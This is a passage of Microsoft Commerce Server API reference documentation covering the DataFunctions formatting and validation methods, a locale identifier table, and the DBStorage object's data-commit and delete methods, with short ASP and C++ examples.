[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the string representation of the specified number; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Number(9999999.99,myLocale)
Response.Write "USA: " & Result & "<P>"

' Set Locale to France
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale

Result = MSCSDataFunctions.Number(9999999,myLocale)

Response.Write "France: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertNumberString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertNumberString


IDataFunctions_4_0::Time Method [C++]

DataFunctions.Time Method [Visual Basic]

Use this method to converts a Date to a string representation of the time.

Definition

[C++]
HRESULT IDataFunctions_4_0::Time(
 DATE dtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Time(
 dtDate As Date,
 vtLocale As Variant
) As Variant

Parameters

dtDate [C++]
[in] A DATE type that contains the time value to convert.
dtDate [Visual Basic]
A Date type that contains the time value to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the time value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the time value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the specified time value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the string representation of the specified time value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' vResult is a Variant, dDate is a Date
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
vResult = MSCSDataFunctions.Time(dDate, myLocale)
Response.Write "USA: " & Result & "<P>"

%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertTimeString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertTimeString


IDataFunctions_4_0::ValidateDateTime Method [C++]

DataFunctions.ValidateDateTime Method [Visual Basic]

Use this method to check whether a string contains a valid date, time, or date and time, and optionally to check against a specified range.

Definition

[C++]
HRESULT IDataFunctions_4_0::ValidateDateTime(
 VARIANT vtDate,
 VARIANT vtMin,
 VARIANT vtMax,
 VARIANT* pvtValid
);
[Visual Basic]
Function ValidateDateTime(
 vtDate As Variant,
 vtMin As Variant,
 vtMax As Variant
) As Variant

Parameters

vtDate [C++]
[in] A VARIANT that contains the value to validate. This value can be a date, a time, or both.
vtDate [Visual Basic]
A Variant that contains the value to validate. This value can be a date, a time, or both.
vtMin [C++]
[in] A VARIANT that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMin [Visual Basic]
A Variant that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMax [C++]
[in] A VARIANT that contains a value specifying the high end of the range. The default value for this parameter is NULL, which means that the vtMax parameter is ignored in the range validation.
vtMax [Visual Basic]
A Variant that contains a value specifying the high end of the range. The default value for this parameter is NULL, which means that the vtMax parameter is ignored in the range validation.
pvtValid [C++]
[out, retval] A pointer to a VARIANT used to return a Boolean that indicates whether the vtDate parameter is valid. A value of TRUE indicates the vtDate parameter is a valid date, time, or date/time, and that it is within the given range, if any.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean Variant indicating whether the vtDate parameter is valid. A value of True indicates the vtDate parameter is a valid date, time, or date/time, and that it is within the given range, if any.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtValid parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vResult is a Variant, vSourceDate is a Variant containing
' a string representation of a date or date and time
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
vResult = MSCSDataFunctions.ValidateDateTime(vSourceDate,"1/1/1900", _
    "12/31/2525")

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::Date

[C++] IDataFunctions_4_0::DateTime

[C++] IDataFunctions_4_0::Time

[C++] IDataFunctions_4_0::ConvertDateString

[C++] IDataFunctions_4_0::ConvertDateTimeString

[C++] IDataFunctions_4_0::ConvertTimeString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Date

[Visual Basic] DataFunctions.DateTime

[Visual Basic] DataFunctions.Time

[Visual Basic] DataFunctions.ConvertDateString

[Visual Basic] DataFunctions.ConvertDateTimeString

[Visual Basic] DataFunctions.ConvertTimeString


IDataFunctions_4_0::ValidateFloat Method [C++]

DataFunctions.ValidateFloat Method [Visual Basic]

Use this method to check whether a string contains a valid floating-point number, and to optionally check the value of the number against a specified range.

Definition

[C++]
HRESULT IDataFunctions_4_0::ValidateFloat(
 VARIANT vtNumber,
 VARIANT vtMin,
 VARIANT vtMax,
 VARIANT* pvtValid
);
[Visual Basic]
Function ValidateFloat(
 vtNumber As Variant,
 vtMin As Variant,
 vtMax As Variant
) As Variant

Parameters

vtNumber [C++]
[in] A VARIANT that contains the floating-point number to validate.
vtNumber [Visual Basic]
A Variant that contains the floating-point number to validate.
vtMin [C++]
[in] A VARIANT that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMin [Visual Basic]
A Variant that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMax [C++]
[in] A VARIANT that contains a value specifying the high end of the range. The default value for this parameter is NULL, which means that the vtMax parameter is ignored in the range validation.
vtMax [Visual Basic]
A Variant that contains a value specifying the high end of the range. The default value for this parameter is NULL, which means that the vtMax parameter is ignored in the range validation.
pvtValid [C++]
[out, retval] A pointer to a VARIANT used to return a Boolean that indicates whether the vtNumber parameter is valid. A value of TRUE indicates the vtNumber parameter is a valid floating-point number, and that it is within the given range, if any.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean Variant that indicates whether the vtNumber parameter is valid. A value of True indicates the vtNumber parameter is a valid floating-point number, and that it is within the given range, if any.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtValid parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myFloat = 12.33
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ValidateFloat(myFloat, 1, 10)
Response.Write myFloat & " Is this float between 1 & 10?: " & " " _
    & Result & "<P>"
myFloat = 2.33
Result = MSCSDataFunctions.ValidateFloat(myFloat, 1, 10)
Response.Write myFloat & " Is this float between 1 & 10?: " & " " _
    & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::Float

[C++] IDataFunctions_4_0::ConvertFloatString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Float

[Visual Basic] DataFunctions.ConvertFloatString


IDataFunctions_4_0::ValidateNumber Method [C++]

DataFunctions.ValidateNumber Method [Visual Basic]

Use this method to check whether a string representation of a number is valid, and optionally to check the value of the number against a specified range.

Definition

[C++]
HRESULT IDataFunctions_4_0::ValidateNumber(
 VARIANT vtNumber,
 VARIANT vtMin,
 VARIANT vtMax,
 VARIANT* pvtValid
);
[Visual Basic]
Function ValidateNumber(
 vtNumber As Variant,
 vtMin As Variant,
 vtMax As Variant
) As Variant

Parameters

vtNumber [C++]
[in] A VARIANT that contains a string representation of a number to validate.
vtNumber [Visual Basic]
A Variant that contains a string representation of a number to validate.
vtMin [C++]
[in] A VARIANT that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMin [Visual Basic]
A Variant that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMax [C++]
[in] A VARIANT that contains a value specifying the high end of the range. The default value for the vtMax parameter is NULL, which means that this parameter is ignored in the range validation.
vtMax [Visual Basic]
A Variant that contains a value specifying the high end of the range. The default value for the vtMax parameter is NULL, which means that this parameter is ignored in the range validation.
pvtValid [C++]
[out, retval] A pointer to a VARIANT used to return a Boolean that indicates whether the vtNumber parameter is valid. A value of TRUE indicates the vtNumber parameter is a valid whole number, and that it is within the given range, if any.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean Variant that indicates whether the vtNumber parameter is valid. A value of TRUE indicates the vtNumber parameter is a valid whole number, and that it is within the given range, if any.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtValid parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
MSCSDataFunctions.Locale = myLocale
myInt = 24
Result = MSCSDataFunctions.ValidateNumber(myInt , 1, 10)
Response.Write myInt & " Is this integer between 1 & 10?: " & _
    " " & Result & "<P>"
myInt = 2
Result = MSCSDataFunctions.ValidateNumber(myInt , 1, 10)
Response.Write myInt & " Is this integer between 1 & 10?: " & _
    " " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::Number

[C++] IDataFunctions_4_0::ConvertNumberString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Number

[Visual Basic] DataFunctions.ConvertNumberString


IDataFunctions_4_0 Properties [C++]

DataFunctions_4_0 Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Locale | Long | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
CurrencySymbol | VARIANT | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.
[Visual Basic]
Property | Type | Description
Locale | Long | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
CurrencySymbol | Variant | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.


IDataFunctions_4_0::get_Locale, put_Locale Property [C++]

DataFunctions.Locale Property [Visual Basic]

[C++]

The Locale property is a read/write long that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. Where the DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value to which you initialize this property is used.

[Visual Basic]

The Locale property is a read/write Long that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. Where the DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value to which you initialize this property is used.

Definition

[C++]

Get method:

HRESULT IDataFunctions_4_0::get_Locale(
 long* Locale
);

Put method:

HRESULT IDataFunctions_4_0::put_Locale(
 long Locale
);
[Visual Basic]
Property Locale As Long

Parameters

Locale [C++]
[in] When putting the property, a long that specifies the locale.
[out, retval] When getting the property, a pointer to a long used to return the locale.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Many of the methods implemented in the Commerce Server objects take locale identifiers as optional parameters. These identifiers are represented by unique hexadecimal codes.

The list of locale and language identifiers can be found in the National Language Support API. This specification can be found in the Microsoft Developer Network. (See Platform SDK, Windows Base Services, International Features).

This list is continually growing and further locale support may be added to any future product.

The following table contains a list of these hexadecimal locale identifiers.

Identifier | Locale
0x0000 | Language Neutral
0x0400 | Process Default Language
0x0401 | Arabic (Saudi Arabia)
0x0801 | Arabic (Iraq)
0x0c01 | Arabic (Egypt)
0x1001 | Arabic (Libya)
0x1401 | Arabic (Algeria)
0x1801 | Arabic (Morocco)
0x1c01 | Arabic (Tunisia)
0x2001 | Arabic (Oman)
0x2401 | Arabic (Yemen)
0x2801 | Arabic (Syria)
0x2c01 | Arabic (Jordan)
0x3001 | Arabic (Lebanon)
0x3401 | Arabic (Kuwait)
0x3801 | Arabic (U.A.E.)
0x3c01 | Arabic (Bahrain)
0x4001 | Arabic (Qatar)
0x0402 | Bulgarian
0x0403 | Catalan
0x0404 | Chinese (Taiwan)
0x0804 | Chinese (PRC)
0x0c04 | Chinese (Hong Kong)
0x1004 | Chinese (Singapore)
0x0405 | Czech
0x0406 | Danish
0x0407 | German (Standard)
0x0807 | German (Swiss)
0x0c07 | German (Austrian)
0x1007 | German (Luxembourg)
0x1407 | German (Liechtenstein)
0x0408 | Greek
0x0409 | English (United States)
0x0809 | English (United Kingdom)
0x0c09 | English (Australian)
0x1009 | English (Canadian)
0x1409 | English (New Zealand)
0x1809 | English (Ireland)
0x1c09 | English (South Africa)
0x2009 | English (Jamaica)
0x2409 | English (Caribbean)
0x2809 | English (Belize)
0x2c09 | English (Trinidad)
0x040a | Spanish (Traditional Sort)
0x080a | Spanish (Mexican)
0x0c0a | Spanish (Modern Sort)
0x100a | Spanish (Guatemala)
0x140a | Spanish (Costa Rica)
0x180a | Spanish (Panama)
0x1c0a | Spanish (Dominican Republic)
0x200a | Spanish (Venezuela)
0x240a | Spanish (Colombia)
0x280a | Spanish (Peru)
0x2c0a | Spanish (Argentina)
0x300a | Spanish (Ecuador)
0x340a | Spanish (Chile)
0x380a | Spanish (Uruguay)
0x3c0a | Spanish (Paraguay)
0x400a | Spanish (Bolivia)
0x440a | Spanish (El Salvador)
0x480a | Spanish (Honduras)
0x4c0a | Spanish (Nicaragua)
0x500a | Spanish (Puerto Rico)
0x040b | Finnish
0x040c | French (Standard)
0x080c | French (Belgian)
0x0c0c | French (Canadian)
0x100c | French (Swiss)
0x140c | French (Luxembourg)
0x040d | Hebrew
0x040e | Hungarian
0x040f | Icelandic
0x0410 | Italian (Standard)
0x0810 | Italian (Swiss)
0x0411 | Japanese
0x0412 | Korean
0x0812 | Korean (Johab)
0x0413 | Dutch (Standard)
0x0813 | Dutch (Belgian)
0x0414 | Norwegian (Bokmal)
0x0814 | Norwegian (Nynorsk)
0x0415 | Polish
0x0416 | Portuguese (Brazilian)
0x0816 | Portuguese (Standard)
0x0418 | Romanian
0x0419 | Russian
0x041a | Croatian
0x081a | Serbian (Latin)
0x0c1a | Serbian (Cyrillic)
0x041b | Slovak
0x041c | Albanian
0x041d | Swedish
0x081d | Swedish (Finland)
0x041e | Thai
0x041f | Turkish
0x0421 | Indonesian
0x0422 | Ukrainian
0x0423 | Belarusian
0x0424 | Slovenian
0x0425 | Estonian
0x0426 | Latvian
0x0427 | Lithuanian
0x0429 | Farsi
0x042a | Vietnamese
0x042d | Basque
0x0436 | Afrikaans
0x0438 | Faeroese

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::GetLocaleList

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.GetLocaleList

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


IDataFunctions_4_0::get_CurrencySymbol, put_CurrencySymbol Property [C++]

DataFunctions.CurrencySymbol Property [Visual Basic]

The CurrencySymbol property is a read/write string Variant that stores the currency symbol to use if the currency symbol parameter is not specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol.

Definition

[C++]

Get method:

HRESULT IDataFunctions_4_0::get_CurrencySymbol(
 VARIANT* CurrencySymbol
);

Put method:

HRESULT IDataFunctions_4_0::put_CurrencySymbol(
 VARIANT CurrencySymbol
);
[Visual Basic]
Property CurrencySymbol As Variant

Parameters

CurrencySymbol [C++]
[in] When putting the property, a string VARIANT that contains the currency symbol.
[out, retval] When getting the property, a pointer to a string VARIANT used to return the currency symbol.

[Visual Basic] None.

[C++]

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

When getting the property, the CurrencySymbol parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::ConvertStringToCurrency

[C++] IDataFunctions_4_0::LocalizeCurrency

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.ConvertStringToCurrency

[Visual Basic] DataFunctions.LocalizeCurrency


DBStorage Object [C++]

DBStorage Object [Visual Basic]

Use this method to map Dictionary and SimpleList objects to and from the database, primarily for the storage of receipt and order information. The DBStorage object is created as needed on each page.

ProgID: | Commerce.DBStorage (Externally creatable)
COM Class Name: | MSCSDBStorage_3_0
Type Library Name: | Commerce 1.0 Type Library
DLL Name: | Commerce.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMSCSDBStorage_3_0
Interface ID Constant: | IID_IMSCSDBStorage_3_0
Header File: | mspu_guids.h
[C++]

In C++, use the IMSCSDBStorage_3_0 interface to access the properties and methods of the DBStorage object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.
[Visual Basic]
Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.

Properties

[C++]
Property | Type | Description
Mapping | IDispatch | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.
[Visual Basic]
Property | Type | Description
Mapping | Object | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.

Remarks

The DBStorage object serves as an interface between the site database and Dictionary and OrderForm objects. A DBStorage object contains methods for transferring data between the database and the data object.

Using the CreateObject method of the Server object to instantiate a DBStorage object will return an uninitialized instance of the DBStorage object. Use the InitStorage method to initialize the returned object instance. Attempting to call any other DBStorage method prior to calling the InitStorage method results in an error.

When the DBStorage object retrieves data from the database, it creates the appropriate type of data object (an OrderForm or Dictionary object), stores the requested data there, and then returns the data object. When the DBStorage object is used to save data in the database, you pass it the OrderForm or Dictionary object containing the data, and the DBStorage method copies the data from the data object into the database.

See Also

General Purpose Objects


IMSCSDBStorage_3_0 Methods [C++]

DBStorage Methods [C++]

Methods

[C++]
Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.
[Visual Basic]
Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.


IMSCSDBStorage_3_0::CommitData Method [C++]

DBStorage.CommitData Method [Visual Basic]

Use this method to update the database table based on the contents of the specified Dictionary or OrderForm object.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::CommitData(
 VARIANT vtReserved,
 IDispatch* pdispData
);
[Visual Basic]
Sub CommitData(
 vtReserved As Variant,
 pdispData As Object
)

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. The CommitData method ignores the value of this parameter.
vtReserved [Visual Basic]
A Variant reserved for future use. The CommitData method ignores the value of this parameter.
pdispData [C++]
[in] An IDispatch interface pointer on the OrderForm or Dictionary object that contains the updated data.
pdispData [Visual Basic]
An object reference to the OrderForm or Dictionary object that contains the updated data.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The CommitData and InsertData methods can store data from a specified object into the database in two ways.

First, if the InitStorage method specifies a MarshallColumn parameter, then CommitData and InsertData serialize all the data in the object into binary form and store it into the database column specified by this parameter. (If this argument is not supplied, then no data is stored in serialized form.)

Second, if the names of any items in the object exactly match the names of columns in the database, then the data in these items is stored into the corresponding columns. For example, if the order form contains a value called ship_to_name, and if your database table contains a column named ship_to_name, the DBStorage object saves the value in the ship_to_name entry of the order form into that column.

If the MarshallColumn parameter is specified and matching columns exist, then the corresponding data is stored both ways.

The CommitData method does not support database tables containing fields of type TimeStamp. Instead, use the vtChanged parameter to the DBStorage.InitStorage method, which provides the same functionality as using TimeStamp fields.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.CommitData(Null, Order)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::InsertData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.InsertData


IMSCSDBStorage_3_0::DeleteData Method [C++]

DBStorage.DeleteData Method [Visual Basic]

Use this method to delete a row from the data source, based on the data stored in the specified Dictionary or OrderForm object.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::DeleteData(
 VARIANT vtReserved,
 IDispatch* pdispData
);
[Visual Basic]
Sub DeleteData(
 vtReserved As Variant,
 pdispData As Object
)

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. This parameter is ignored by the DeleteData method.
vtReserved [Visual Basic]
A Variant reserved for future use. This parameter is ignored by the DeleteData method.
pdispData [C++]
[in] A pointer to the data object to delete. This data object can be either an OrderForm or a Dictionary, but must correspond in type to the object type specified as the ProgID in the initial call to the InitStorage method.
pdispData [Visual Basic]
An object reference to the data object to delete. This data object can be either an OrderForm or a Dictionary, but must correspond in type to the object type specified as the ProgID in the initial call to the InitStorage method.

Return Values

[C++] This method returns an HRESULT indicating whether it or not completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The DeleteDataKey method differs from the DeleteData method in that the DeleteDataKey requires only the value stored in the key column of the underlying table. This is the column specified as the key to the underlying table through a previous call to the InitStorage method.

Thus, if you specify an IDENTITY field in an SQL table as the key into the data source, you can delete all the columns for a specified row by simply providing the appropriate counter value. Alternatively, you can initialize a Dictionary object to the values stored in one or more columns, and pass this initialized object to the DeleteData method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
OrderFormStorage.DeleteData(Null, Order)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::DeleteDataKey

[C++] IMSCSDBStorage_3_0::InsertData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.DeleteDataKey

[Visual Basic] DBStorage.InsertData


IMSCSDBStorage_3_0::DeleteDataKey Method [C++]

DBStorage.DeleteDataKey Method [Visual Basic]

Use this method to delete a row of data, based on the specified key value.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::DeleteDataKey(
 VARIANT vtReserved,
 VARIANT vtKey
);
